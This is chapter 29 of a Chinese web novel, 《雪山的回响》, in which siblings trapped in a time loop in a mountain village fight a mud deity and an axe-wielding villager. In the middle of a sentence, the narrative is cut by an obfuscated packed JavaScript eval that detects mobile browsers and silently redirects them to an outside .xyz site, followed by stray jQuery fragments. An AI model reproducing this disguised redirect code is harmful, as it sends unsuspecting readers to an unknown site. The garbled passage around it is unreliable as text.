29. 第二十九章

作品:《雪山的回响

    这场问话以程杉头上多了个暴栗告终。


    程杉虽然挨了打,但自认为算是逼着老姐认清了心意,他见好就收,老老实实地问起了正事:“咱们接下来去哪儿?”


    岑桉没适应这个转变极快的话题:“你等会儿的,我真没有——”


    “姐,”程杉打断了她,“老实说,我不支持你跟他谈恋爱,因为他对我来说是个陌生人,我不信任他,但你信任他,而我信你。”


    岑桉怔住。


    “以前姨妈总说,怕她的事影响到你,怕你不敢谈恋爱,不敢走进人生下一步,我觉得你不会。我老姐的人生没有设限,我一直这么觉得,你好像什么都能做,什么都能做好,所以就算你真的选择不谈,那一定也是因为你不想,而不是不敢。”


    程杉一口气说完一连串,又深吸了口气,继续道:“姐,我不知道你到底怎么想的,但我不是傻子,我看得出来,你喜欢他。原因你不想说我就不问,毕竟那么多次循环呢,发生点故事也很正常,要怪就怪我没这个天赋跟你一起循环,错过了故事也是我活该。”


    这是什么话。


    岑桉没忍住扯了下嘴角。


    “我觉得吧,谈恋爱是不应该退缩的,喜欢就是喜欢,没什么不能承认的。你别以为我没谈过就没理论知识,我看得可透彻了,你就试一把,别顾虑这顾虑那的,喜欢了就谈,不喜欢了就分,管他心里头怎么想呢。再说了,那男的也喜欢你,你别不信,我看人可准了,他还挺有眼光的。”


    “所以呢,”程杉长篇大论了一通,才有些难为情地摸了摸后脖,“只要你喜欢,我支持你选他。”


    岑桉看出他不自在,正想感慨句自家弟弟长大了,就听他又说:“姐,你看,我帮你分析了这么多,是不是还挺有用的,你就选我当男主角吧?”


    岑桉:“……”


    “我看你不是不信任他,是怕他真竞争上位成男主角抢你饭碗吧。”


    程杉嘿嘿地笑了起来:“被你发现了。”


    长大个屁,骨子里还是个中二少年。


    其实,道理她都懂。


    但这个环境实在是太特殊了。


    在她最无知无措的时候,他给了她尽可能多的信息提示;在她最孤注一掷的时候,他守住了她的底线和原则,让她不至于彻底被愤怒吞没;在她放手一搏的时候,他补上了她攻击时的疏漏,替她将弟弟带出了山洞。


    她喜欢的究竟是这份坦诚相待的互助与共、那种恰到好处的默契互补,还是他荀昼生这个人?


    岑桉不知道。


    其实妈妈的婚姻并没有扼杀岑桉选择恋爱的勇气,反而是让她更在意两个人建立关系背后的责任。所以她在对自己的心意有清晰认知之前,她不会迈出那一步。


    岑桉想。


    至少,等一切都结束吧。


    等跳出这个循环,再让她慢慢探究,他究竟是不是她心底的那个答案。


    “你们怎么在这儿?”


    一声惊呼打断了岑桉的思绪。


    荀耀推开院大门,被两个不速之客吓得倒退两步,然后又瞪大眼睛叉着腰,装出一副气势汹汹的模样:“小偷!抓贼——唔——”


    程杉眼疾手快地堵上了他的嘴。


    小孩儿人不大,声音倒是不小,也不知道会不会把老村长招回来。


    字条上的“请进”和笔记本上的字迹一致,看得出来是老村长的手笔,但墨痕已干,无法判断书写时间。


    岑桉不确定现在的“老村长”究竟还有没有清醒的意识,又到底站在哪一边。她不敢冒险,迅速把东西规整成原样,匣子埋地下,钥匙塞书里,再出来时,堵住荀耀嘴的已经从程杉的手变成了一团布。


    “毛巾,干净的,没用过,”注意到老姐的眼神,程杉生怕她误会,赶忙解释道,“我没虐待小孩,要虐待也是他虐待我,你看,都给我咬出牙印来了。”


    他一手抓着荀耀的双手,委委屈屈地把另一只手的手指伸到岑桉面前,确实是很深一个牙印,看得出来牙口不错。


    虽然带上一个非自己人是会有些麻烦,但这么小的孩子,大概率也翻不出什么浪花。为了防止荀耀把他们的行踪透露给老村长,岑桉略一犹豫,还是说:“算了,堵也堵了,带上他吧。”


    就按照程杉的思路,先去湖沼泥潭附近看看有没有什么符文阵法。


    如果能碰上荀昼生就再好不过了,岑桉得问一问许愿的事情,万一对他也有什么影响,她也好做到心里有数。


    *


    荀小妹跟踪到山洞附近的时候,恰好碰到了荀昼生。


    她本来好好呆在家里,打了无数个腹稿,想着该怎么跟岑桉讲自己这些匪夷所思的记忆。她刚给第四版腹稿打上叉号,就听到窗外传来吵架的声音。


    荀小妹小心翼翼地推开了条窗缝,居然看到了爸爸。他还穿着早晨出门的那套衣服,和婶婶争执不下。


    她静悄悄地偷听了一耳朵,又是些陈芝麻烂谷子的事,爸爸指责婶婶脚下踩的地是自家的田,让她赔偿,婶婶气急了骂他不种地不管家还有脸要钱。


    他们回回吵,年年吵,荀小妹听得多了,倒是头一回在白天听到——爸爸白天几乎不出现在村里的。荀小妹正疑惑着,就听到爸爸蹦出来一句:“女人就是蠢,真不知道祂是怎么容忍你活到现在的。”


    什么什么?


    荀小妹敏感地竖起了耳朵。


    “你这么听祂的话,最后连怎么死的都不知道。”婶婶嗤了一声,“你死了是无所谓,可怜了小妹。”


    “我死?你死了我都不会死的,当心当心你自己的脑袋吧。至于那个赔钱货?你可怜你养她好了,一个女娃有什么好稀罕的,头发长见识短的东西。”


    “跟你说话真是浪费时间,垃圾都比你有人样。”婶婶呸了他一脸,脚步声越来越远。


    荀小妹估摸着应该是吵完散场了,正要偷偷把窗关上,没想到还有一句独角戏的台词:“有人样有个屁用,等过了明天,看你有没有命活着跟我说话。”


    她吓得从凳子上跌了下去,好在身旁就是床,没有摔伤,也没有出大动静,等爸爸的脚步声也往远处去时,她才心惊胆战地站起来。


    什么叫“有没有命活”?


    爸爸要害婶婶吗?


    不行不行,得想办法告诉姐姐。


    荀小妹下了决心,轻手轻脚地出了房门,刚好看到爸爸往山林深处去的背影。她忽然冒出一个想法——或许,她能拦下爸爸。


    如果她能阻拦事情的发生,姐姐就能少操点心。姐姐能答应帮她妈妈,她就已经很知足了,不能再给姐姐添麻烦。


    于是,荀小妹一路跟踪左拐右拐,穿过了泥泞小道,跟到了一处她从未见过的山洞,便再找不到爸爸的身影。但她在藏身的树丛里见到了一个意料之外的人——荀昼生。


    “大哥哥?”她刚出声,就见他在唇前竖了根食指:“嘘。”


    荀昼生见她噤声,才指了指她来路的方向,荀小妹循着望去,看到了两张许久未见的面孔,一时间眼睛睁得滚圆。


    两位老人互相搀扶着来到山洞前,一道光闪过,两人就不见了踪影。四下寂静,仿佛从没来过人一般,只余下四行脚印。


    “人、人呢?”荀小妹的小脑袋瓜左转右转,怎么也找不见人影,“大哥哥你看到了吗,娟奶奶和正爷爷,他们怎么一下子不见了?”


    “山洞里。”荀昼生言简意赅,“我试过了,进不去。”


    荀小妹迟疑道:“那,要不我去试试?”


    接收到荀昼生的点头示意,荀小妹噌一下跑了出去,刚跑到一半山洞洞身就剧烈摇晃起来,她猛地刹车,转头就往回跑,将将躲在最近的丛木后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247588|180469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山洞门口就出现了好大一团泥巴。


    她惊得捂住自己的嘴,生怕控制不住发出呼声。


    那泥慢吞吞地往前挪动着,挪到泥潭上时,整摊泥都消失不见了。


    山洞里接二连三跑出来几个人,荀伯成咒骂一声,沿着湖沼飞奔而去,另外两个老人颤巍巍地往另一头走去。


    见人都走远了,荀昼生从藏身处走了出来,再次尝试进入山洞,只是刚一靠近,便如同碰到了屏障一般被弹倒在地。荀小妹也试探着凑了过去,得到了同等待遇,甚至因为体重轻被弹落得更远了些。


    两人才刚起身,便又听到悉悉簌簌的声响,荀昼生立即拉上荀小妹重新躲了起来。


    又是那摊泥。


    这次出现时,泥浑身散发着光晕,荀昼生当机立断捂住了荀小妹的眼睛,自己则念起了岑桉教给他的“煤油灯”咒语。


    随着光晕的褪去,密谭中出现了三个挣扎的人影,两个被捆了手脚,一个被堵了嘴。


    荀昼生心跳停了半拍。


    他一眼就看到了那个熟悉的背影——是岑桉,她裹了浑身的泥,整个人狼狈不堪,但他依旧第一眼就认出了她。


    她怎么会忽然被抓起来?


    事情要从十分钟前说起。


    岑桉以防万一,把笔记本放回了远处,但顺手牵羊带走了几张空白的草稿纸,还有两只笔。她走到荀小妹家附近时,忽然想起笔记中有一句“不要提起‘祂’的名字,‘祂’会听到”,她随便找了块干净的石头,靠在上头开始写写画画。


    程杉凑过去一看,纸面上写满了犇骉麤猋魑魅魍魉,其中夹杂着间隔开的“泥”“沼”“神”三个字,她还用另一颜色的笔特意将这三字圈了起来。


    “你是要给那谁看吗?”程杉酸溜溜地问。


    “嗯,有备无患。”


    岑桉写得认真,程杉看得认真,无人注意到荀耀也把脑袋凑了过来,他双手被束缚在身后,口里塞着毛巾依旧含含糊糊地念出了模糊的字音:“呃嗷嗯(泥沼神)?”


    岑桉心头雷声大作。


    程杉看她如临大敌的模样,差点咬到自己的舌头:“他、嘶,他也没说清楚,应、应该没事吧?”


    话音刚落,不远处的湖沼骤然涌起泥浪,从底下窜出一污泥满身的庞然大物,正是岑桉已经交过几回手的烂泥——泥沼神。她想也不想,径直拿笔头扎进掌心,却没出什么血,她咬牙狠狠一划,就着溢出的血召唤出了经幡竿。


    “程杉!”她大喊一声,“快跑——”


    顾不上他到底有没有听她的话,岑桉挥着竹竿大步冲向前,一竿击中了泥沼神的躯体,祂发出了震耳欲聋的怒鸣声,泥点如利刃般刺中了她的肉身,她忍着疼痛迎头而上,却听到一声撕心裂肺的叫喊:“身后——”


    岑桉猝然侧身躲过,这才发现身后多了个荀伯成。


    他拿着把长柄斧,像极了电影里嗜血成性的杀人狂魔,岑桉连连后退,一根竹竿在一泥一人的夹击中显然不够看,就在她招架不住之时,一块砖头从背后砸上了荀伯成的脑袋。


    荀伯成吃痛地回过头。


    程杉绷紧身体,颤着手再次将砖头拍向他,荀伯成闪身一避,一斧头反手砍向程杉的头颅,被岑桉用竹竿拦了下来——天知道这竹竿到底有多硬挺,居然连斧头都能硬抗。


    程杉一脚踹上荀伯成的腿弯,却被对方反拽住他的脚,他一个站不稳,砖头脱手,手无寸铁的程杉只能赤手空拳地捣向荀伯成,却被轻轻松松拦了下来。


    眼见着岑桉被泥沼纠缠,那柄锋利的斧头即将落在程杉身上时,荀伯成的动作忽然因背后受击而顿住。他恶狠狠地转回头,却看到了自家侄子惨白的脸——荀耀手里握着一块砖,正是程杉先前没拿住的那块砖头。


    “大、大伯,”荀耀连嘴唇都没了血色,“对、对不起。”